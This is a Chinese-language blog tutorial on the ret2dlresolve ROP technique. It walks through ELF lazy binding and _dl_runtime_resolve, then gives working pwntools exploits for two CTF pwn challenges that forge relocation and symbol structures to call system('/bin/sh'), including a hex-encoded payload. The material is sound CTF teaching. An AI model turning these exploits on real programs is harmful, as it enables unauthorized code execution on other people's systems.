Ret2 runtime_dlresolve

Catalpa 网络安全爱好者

简介

Ret2dlresolve 是高级 ROP 技巧之一,世界著名的黑客杂志 phrack 在某一期提到过这个攻击技巧,该手段用于没有较好的 gadget、函数、利用链的情况。ret2dlresolve 主要利用了 linux 下的延迟绑定机制,通过修改解析字符串,我们就可以控制最终解析出的函数,从而获取任意函数执行的能力。

延迟绑定

这一攻击技巧的基础就是linux下的延迟绑定机制,所以首先我们来了解一下什么是延迟绑定。

程序员编写一个程序会导入各种各样的函数,例如我们编写一个 hello world C语言程序

1
2
3
4
5
6
7
#include<stdio.h>

int main()
{
printf("Hello World!\n");
return 0;
}

程序员只编写了两句有意义的代码,其中 printf 函数不是我们自己写的,而是从 C语言标准库中导入的。当开发一个大型项目的时候,通常会从标准库中导入很多函数,而某些函数可能从来都不会被调用,为了增加程序的执行效率,linux 引入的延迟绑定这一概念,当程序第一次调用导入函数的时候才去 libc 中寻找对应的地址,并将地址写入 GOT 表中,那些没有被调用的函数就不绑定。已经绑定的函数再次调用则直接去 GOT 表中寻找就好了。

实现延迟绑定的主要函数是 _dl_runtime_resolve,它接受两个参数,分别是 linkmap 和 offset,这个函数我们放在下面讲,首先来了解一下 ELF 的格式信息。

ELF .dynamic 节

这个节包含关于动态链接的信息,PE 或者 ELF 在运行程序的时候都需要进行动态链接,因为源代码中可能调用了动态库中的一些函数,引用其他程序代码时,在编译或者链接阶段不能确定地址到底是什么,因为当程序加载到内存之后地址都是动态的,所以需要重新进行地址定位。

.dynamic 节在动态链接的 ELF 文件中大同小异,结构一般如下(从 IDA 中看)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
LOAD:08049F14 ; ELF Dynamic Information
LOAD:08049F14 ; ===========================================================================
LOAD:08049F14
LOAD:08049F14 ; Segment type: Pure data
LOAD:08049F14 ; Segment permissions: Read/Write
LOAD:08049F14 LOAD segment mempage public 'DATA' use32
LOAD:08049F14 assume cs:LOAD
LOAD:08049F14 ;org 8049F14h
LOAD:08049F14 _DYNAMIC Elf32_Dyn <1, <1>> ; DATA XREF: LOAD:080480BC↑o
LOAD:08049F14 ; .got.plt:_GLOBAL_OFFSET_TABLE_↓o
LOAD:08049F14 ; DT_NEEDED libc.so.6
LOAD:08049F1C Elf32_Dyn <0Ch, <80482CCh>> ; DT_INIT
LOAD:08049F24 Elf32_Dyn <0Dh, <8048524h>> ; DT_FINI
LOAD:08049F2C Elf32_Dyn <19h, <8049F0Ch>> ; DT_INIT_ARRAY
LOAD:08049F34 Elf32_Dyn <1Bh, <4>> ; DT_INIT_ARRAYSZ
LOAD:08049F3C Elf32_Dyn <1Ah, <8049F10h>> ; DT_FINI_ARRAY
LOAD:08049F44 Elf32_Dyn <1Ch, <4>> ; DT_FINI_ARRAYSZ
LOAD:08049F4C Elf32_Dyn <6FFFFEF5h, <80481ACh>> ; DT_GNU_HASH
LOAD:08049F54 Elf32_Dyn <5, <804822Ch>> ; DT_STRTAB
LOAD:08049F5C Elf32_Dyn <6, <80481CCh>> ; DT_SYMTAB
LOAD:08049F64 Elf32_Dyn <0Ah, <51h>> ; DT_STRSZ
LOAD:08049F6C Elf32_Dyn <0Bh, <10h>> ; DT_SYMENT
LOAD:08049F74 Elf32_Dyn <15h, <0>> ; DT_DEBUG
LOAD:08049F7C Elf32_Dyn <3, <804A000h>> ; DT_PLTGOT
LOAD:08049F84 Elf32_Dyn <2, <18h>> ; DT_PLTRELSZ
LOAD:08049F8C Elf32_Dyn <14h, <11h>> ; DT_PLTREL
LOAD:08049F94 Elf32_Dyn <17h, <80482B4h>> ; DT_JMPREL
LOAD:08049F9C Elf32_Dyn <11h, <80482ACh>> ; DT_REL
LOAD:08049FA4 Elf32_Dyn <12h, <8>> ; DT_RELSZ
LOAD:08049FAC Elf32_Dyn <13h, <8>> ; DT_RELENT
LOAD:08049FB4 Elf32_Dyn <6FFFFFFEh, <804828Ch>> ; DT_VERNEED
LOAD:08049FBC Elf32_Dyn <6FFFFFFFh, <1>> ; DT_VERNEEDNUM
LOAD:08049FC4 Elf32_Dyn <6FFFFFF0h, <804827Eh>> ; DT_VERSYM
LOAD:08049FCC Elf32_Dyn <0> ; DT_NULL

里面包含许多子节,我们主要关注 DT_STRTAB、DT_SYMTAB、DT_JMPREL,这三项,他们是指向其他节的指针,DT_STRTAB 指向 .dynstr,DT_SYMTAB 指向 .dynsym,DT_JMPREL 指向 .rel.plt。

.rel.plt 节

从 IDA 中,这个节的结构为

1
2
3
4
5
LOAD:080482B4 ; ELF JMPREL Relocation Table
LOAD:080482B4 Elf32_Rel <804A00Ch, 107h> ; R_386_JMP_SLOT read
LOAD:080482BC Elf32_Rel <804A010h, 207h> ; R_386_JMP_SLOT memcpy
LOAD:080482C4 Elf32_Rel <804A014h, 407h> ; R_386_JMP_SLOT __libc_start_main
LOAD:080482C4 LOAD ends

每一行都是一个结构体,结构体定义为

1
2
3
4
5
typedef struct
{
Elf32_Addr r_offset; //指向GOT表的指针
Elf32_Word r_info;
} Elf32_Rel;

第一个成员是指向 GOT 表的指针,第二个成员是 .dynsym 节的偏移。

.dynsym 节

从 IDA 中来看,这个节的结构如下

1
2
3
4
5
6
7
8
9
LOAD:080481CC ; ELF Symbol Table
LOAD:080481CC Elf32_Sym <0>
LOAD:080481DC Elf32_Sym <offset aRead - offset byte_804822C, 0, 0, 12h, 0, 0> ; "read"
LOAD:080481EC Elf32_Sym <offset aMemcpy - offset byte_804822C, 0, 0, 12h, 0, 0> ; "memcpy"
LOAD:080481FC Elf32_Sym <offset aGmonStart - offset byte_804822C, 0, 0, 20h, 0, 0> ; "__gmon_start__"
LOAD:0804820C Elf32_Sym <offset aLibcStartMain - offset byte_804822C, 0, 0, 12h, 0, \ ; "__libc_start_main"
LOAD:0804820C 0>
LOAD:0804821C Elf32_Sym <offset aIoStdinUsed - offset byte_804822C, \ ; "_IO_stdin_used"
LOAD:0804821C offset _IO_stdin_used, 4, 11h, 0, 10h>

这个节的每一行也代表着一个结构体,定义如下

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言,它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0

针对导入函数来说,比较主要的是 st_name,它指向了当前符号在 .dynstr 节中的偏移量。

.dynstr 节

这个节在 IDA 中结构如下

1
2
3
4
5
6
7
8
9
10
11
LOAD:0804822C ; ELF String Table
LOAD:0804822C byte_804822C db 0 ; DATA XREF: LOAD:080481DC↑o
LOAD:0804822C ; LOAD:080481EC↑o ...
LOAD:0804822D aLibcSo6 db 'libc.so.6',0
LOAD:08048237 aIoStdinUsed db '_IO_stdin_used',0 ; DATA XREF: LOAD:0804821C↑o
LOAD:08048246 aRead db 'read',0 ; DATA XREF: LOAD:080481DC↑o
LOAD:0804824B aMemcpy db 'memcpy',0 ; DATA XREF: LOAD:080481EC↑o
LOAD:08048252 aLibcStartMain db '__libc_start_main',0
LOAD:08048252 ; DATA XREF: LOAD:0804820C↑o
LOAD:08048264 aGlibc20 db 'GLIBC_2.0',0
LOAD:0804826E aGmonStart db '__gmon_start__',0 ; DATA XREF: LOAD:080481FC↑o

没有结构体定义,这个节的数据全都是字符串,两两之间用 ‘\x00’ 分割,而且开头和结尾都是 ‘\x00’。

如果将以上介绍的结构用一张图片表示


几点注意:

  1. r_info 指的是对应的结构体在 .dynsym 节中的下标(并不完全是,一会再讨论)
  2. st_name 指的是对应的字符串在 .dynstr 节中的偏移量,例如 .dynstr 节头部地址为 0x0804822C,目标字符串的地址是 0x08048246,那么 st_name = 0x08048246 - 0x0804822C = 26

第一次调用导入函数发生了什么

关于 ELF 格式或者各种节的详细介绍我们这里不涉及了,主要来看看当第一调用某个系统函数的时候发生了什么。

在 linux 下随便找一个可执行程序,用 gdb 打开找到一个系统函数单步跟踪。


以 read 函数为例,单步跟进。


红色方框圈出的就是主要代码,第一次调用 read 函数,首先会 jmp 到 GOT 表中寻找地址,但是此时 read 函数还没有被绑定到 GOT 表中。

然后执行了

1
2
push   0
push dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004>

两步操作,最后通过 jmp 指令跳转到 _dl_runtime_resolve 继续执行。实际上这两句 push 就是将函数的参数入栈,调用函数原型为 dl_runtime_resolve(link_map,0×0),这个函数就会进行一系列操作解析出 read 函数的地址,将地址写入 read 的 GOT 表中,然后将控制权交给 read 继续执行。

_dl_runtime_resolve

我们简单了解一下这个函数的执行过程,它的代码是由汇编编写的,内部主要调用了 _dl_fixup 函数,这个函数的实现在 glibc/elf/dl-runtime.c 中,感兴趣的同学可以阅读源代码。

当程序调用 _dl_runtime_resolve 的时候,这个函数首先根据 linkmap 定位 .dynamic 节的地址,并从中取出 .dynstr、.dynsym、.rel.plt 这三个节的指针,然后利用 .rel.plt 头部指针和传入的第二个参数 offset 定位 .rel.plt 中的 Elf32_Rel 结构体,例如上面的例子传入的偏移量是 0,在 .rel.plt 中找到零号结构体就是

1
Elf32_Rel <804A00Ch, 107h> ; R_386_JMP_SLOT read

上面说了这个结构体包含两个成员,第一个是指向 GOT 表的指针 r_offset ,而第二个 r_info 的利用规则为 r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,也就是说 0x107 >> 8 = 0x1 作为 .dynsym 节中的下标,取得 Elf32_Sym 结构体。在本例中取到的就是

1
Elf32_Sym <offset aRead - offset byte_804822C, 0, 0, 12h, 0, 0> ; "read"

(注意:.dynsym 节的第一个元素是 0)

取得 Elf32_Sym 结构之后,会根据 st_name 指针从 .dynstr 节中找到对应的字符串,这个 st_name 表示的是字符串相对 .dynstr 节起始地址的偏移量。例如本例中 st_name = offset aRead - offset byte_804822C = 0x08048246 - 0x804822C = 26

当找到了字符串之后,会在 libc 中查找这个函数的地址,并将地址赋值给 Elf32_Rel 的 r_offset 成员(也就是指向 GOT 表的指针)。

最后 _dl_runtime_resolve 将控制权转移给解析出来的函数,完成对应的功能。

总结一下流程

  1. 根据传入的 link_map 找到 .dynamic 节,并取出 .dynstr、.dynsym、.rel_plt 三个节。
  2. 根据传入的 offset 从 .rel_plt 中找到对应的 Elf32_Rel 结构体。
  3. 从 Elf32_Rel 结构体中找到 r_info 成员,根据这个成员的偏移量(r_info >> 8) 从 .dynsym 中找到 Elf32_Sym 结构体。
  4. 从 Elf32_Sym 结构体中找到 st_name 成员,根据这个偏移从 .dynstr 节中找到对应的字符串。
  5. 根据找到的字符串在 libc 中搜索对应的函数地址,并回填到 Elf32_Rel 的 r_offset 成员中。
  6. 将控制权交给解析出来的函数。

攻击思路

如果程序没有开启 RELRO 保护,即 checksec 显示 No RELRO 的时候,我们可以通过修改 .dynamic 节的 .dynstr 指针,将它指向一块可控内存,然后在对应的位置上面伪造好想要解析出来的函数名,例如 “system”。

上面的方法是最简单的,但是很多情况下题目都会开启部分 RELRO 保护,不能修改 .dynamic 的 .dynstr 指针(没有写权限),此时要用到另一种方法,那就是控制 _dl_runtime_resolve 的第二个参数。

通过上面介绍的函数流程,可以发现函数的解析链如下

1
_dl_runtime_resolve(linkmap, offset) -> Elf32_Rel -> r_info -> Elf32_Sym -> st_name -> string -> r_offset

当进行 ROP 等操作的时候,构造一个很大的 offset,并且在可控的内存空间伪造一个 Elf32_Rel 结构体,由于 libc 源代码中没有检查 offset 是否合法(取得这个结构体的算法是 .rel_plt + offset),当根据我们伪造的 offset 获取 Elf32_Rel 的时候就会落在伪造的结构体内部。

紧接着在伪造的结构体中构造好 r_info 偏移量,同样的,这个偏移量也可以伪造一个较大的值,使得 Elf32_Sym 结构体也落在可控内存区域。

在伪造的 Elf32_Sym 结构体中伪造 st_name,并在目标地址写入想要解析的函数名。

将上面三步操作用图片表示


这一攻击流程的核心点在于控制好各个位置的偏移量,可能需要多次调试才能确定精确的偏移。

举个栗子

ISCC 2019 的 PWN01,这道题没有给输出函数,只有一个栈溢出漏洞,并且将数据填写到了 bss 段。

主要代码如下

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char dest; // [esp+0h] [ebp-16h]
size_t n; // [esp+Ah] [ebp-Ch]
int *v6; // [esp+Eh] [ebp-8h]

v6 = &argc;
n = read(0, &buf, 0xF4240u);
memcpy(&dest, &buf, n);
return 0;
}

现将数据读入 bss 段,然后拷贝到栈上,导致栈溢出。

按照攻击思路,我们只需要构造好 ROP 链以及三个 fake 结构体即可完成利用。

构造 ROP 利用链,将返回地址劫持到 plt[0] 即 push linkmap 的位置,同时伪造好三个结构:Elf32_Rel、Elf32_Sym 和有效的字符串 “system”,当执行完 _dl_runtime_resolve 之后,就会将 system 的地址填充到 read 的 got 表中。

完整 EXP 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# coding=utf-8
from pwn import *

binary = "./pwn01"
ip = "127.0.0.1"
port = 10000
local = 1
libc_ver = "2.23"


if libc_ver == "2.23":
libc = ELF("./libc.so.6")
elif libc_ver == "2.27":
libc = ELF("./libc-2.27.so")
else:
log.warning("Unknown libc ver!")
exit(0)

#context(log_level="DEBUG", arch="amd64", os="linux")
context(log_level="DEBUG", arch="i386", os="linux")
if local == 1:
p = process(binary)
if local == 0:
p = remote(ip,port)


sleep(5)
buf_addr = 0x0804A040
padding = "/bin/sh\x00" + 'a' * 6 # padding until pop ecx
fake_ecx = p32(buf_addr + 0x300)
padding2 = "\x00" * (0x300 - 22)
ret_to_dlresolve = p32(0x80482f0)
fake_offset = p32(buf_addr - 0x080482B4 + len(padding) + len(fake_ecx) + len(padding2) + len(ret_to_dlresolve) + 20)
padding3 = p32(buf_addr) + p32(buf_addr) * 3
fake_r_offset = p32(0x804A00C)
fake_r_info = p32(0x21907)
fake_st_name = p32(0x2140)
fake_Elf32_Sym = p32(0) * 2 + p32(0x12) + "system\x00"
bin_sh = "/bin/sh\x00"
payload = padding + fake_ecx + padding2 + ret_to_dlresolve + fake_offset + padding3 + fake_r_offset + fake_r_info + \
fake_st_name + fake_Elf32_Sym + bin_sh
# gdb.attach(p)
p.sendline(payload)
sleep(2)
p.interactive()

注意,虽然说 padding 填充什么都可以,但是当程序执行 system 函数中的 execve 时,需要满足一些必要的条件,由于我们已经将栈帧迁移到了 bss 段,所以 padding 最好填充为 ‘\x00’,否则在执行 execve 的时候会由于环境不正常导致syscall 执行失败。

再举个栗子

这是 2020 年铁三线上赛的一道 pwn 题,利用思路也是 ret2dlresolve,我们可以选择更简单的方式去利用,pwntools 内部集成了 Ret2dlresolvePayload 工具,可以 “一键” 实现攻击。

题目下载地址:链接:https://pan.baidu.com/s/1hkzR87BY8wqDAm_3Z8KSYw 提取码:5cac

官方例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
>>> context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('i386'))
>>> rop = ROP(context.binary)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump())
0x0000: 0x80482e0 read(0, 0x804ae00)
0x0004: 0x80484ea <adjust @0x10> pop edi; pop ebp; ret
0x0008: 0x0 arg0
0x000c: 0x804ae00 arg1
0x0010: 0x80482d0 [plt_init] system(0x804ae24)
0x0014: 0x2b84 [dlresolve index]
0x0018: b'gaaa' <return address>
0x001c: 0x804ae24 arg0
>>> p = elf.process()
>>> p.sendline(fit({64+context.bytes*3: raw_rop, 200: dlresolve.payload}))
>>> p.recvline()
b'pwned\n'

比较重要的是 Ret2dlresolvePayload,第一个参数是目标文件的 ELF 对象,第二个是想要解析的函数名,第三个是函数参数。

针对这道题,先依照官方的例子得到 payload,但是在执行 system 函数的时候发现由于 env 参数不为 0,会导致执行失败,所以将输出的 payload 中占位的字节改成 \x00 即可。

1
2
3
4
5
6
7
8
from pwn import *

context.binary = elf = ELF("./readme2")
p = elf.process()
payload = "6161616162616161636161616461616165616161666161616761616168616161696161616a6161616b6161616c6161616d616161608304085a8504080000000000ae040840830408182b00006761616120ae0408000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000073797374656d0061a82b000000000000000000000000000000ae040807c302002f62696e2f736800".decode('hex')
print(payload.encode("hex"))
p.sendline(payload)
p.interactive()
  • Title: Ret2 runtime_dlresolve
  • Author: Catalpa
  • Created at : 2019-05-02 00:00:00
  • Updated at : 2024-10-17 08:52:42
  • Link: https://wzt.ac.cn/2019/05/02/Ret2runtime_dlresolve/
  • License: This work is licensed under CC BY-NC-SA 4.0.